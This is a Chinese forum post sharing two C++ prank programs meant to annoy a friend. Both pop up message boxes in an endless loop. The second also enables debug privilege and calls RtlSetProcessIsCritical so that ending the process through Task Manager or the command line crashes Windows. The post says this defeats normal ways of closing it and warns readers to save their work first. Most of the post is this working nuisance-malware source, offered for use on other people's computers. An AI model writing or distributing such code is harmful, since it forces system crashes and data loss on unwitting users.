用户:
HeadingForSource查看:0 回复:3 评论:0 创建时间:2023-05-29T20:54:38
代码如下:
#include <Windows.h>
#include <cstdio>
#include <cstdlib>
#include <pthread.h>
#include <iostream>
using namespace std;
int main(){for(int i=0;i>=0;i++) MessageBox(NULL,"关不掉我哈哈哈哈哈哈哈哈哈哈哈","气喵你",MB_OK);} 当然,如果你的朋友懂一点电脑,会使用任务管理器或者cmd结束程序的话,这个代码就十分甚至九分的不管用了。 但是我们这里有备用方案:
#include <Windows.h>
#include <cstdio>
#include <cstdlib>
#include <pthread.h>
#include <iostream>
#include <mmsystem.h>
#pragma comment(lib, "winmm.lib")
#pragma comment(lib, "gdi32.lib")
using namespace std;
HCRYPTPROV prov;
BOOL SetPrivilege(void)
{
HANDLE hToken;
TOKEN_PRIVILEGES NewState;
LUID luidPrivilegeLUID;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)||!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidPrivilegeLUID))
{
return FALSE;
}
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
{
return FALSE;
}
return TRUE;
}
int watchdog(int escape){
HMODULE hDll = GetModuleHandle("ntdll.dll");
typedef VOID (WINAPI * type_RtlSetProcessIsCritical)(BOOLEAN, PBOOLEAN, BOOLEAN);
typedef VOID (WINAPI * type_RtlSetThreadIsCritical)(BOOLEAN, PBOOLEAN, BOOLEAN);
type_RtlSetProcessIsCritical RtlSetProcessIsCritical = (type_RtlSetThreadIsCritical)GetProcAddress(hDll, "RtlSetProcessIsCritical");
type_RtlSetProcessIsCritical RtlSetThreadIsCritical = (type_RtlSetThreadIsCritical)GetProcAddress(hDll, "RtlSetThreadIsCritical");
bool bSuccess = SetPrivilege();
if(!bSuccess) return 0;
if(escape==NULL){
RtlSetProcessIsCritical(TRUE, NULL, FALSE);
RtlSetThreadIsCritical(TRUE, NULL, FALSE);}
if(escape==1){
RtlSetProcessIsCritical(FALSE, NULL, FALSE);
RtlSetThreadIsCritical(FALSE, NULL, FALSE);
}
}
int main(){watchdog(0);
for(int i=0;i>=0;i++) MessageBox(NULL,"关不掉我哈哈哈哈哈哈哈哈哈哈哈","气喵你",MB_OK);}
这段代码常规方法都已经不行了,十分的管用啊
如果你想安全的结束,可以修改watchdog参数为1
运行前保存好你的工作!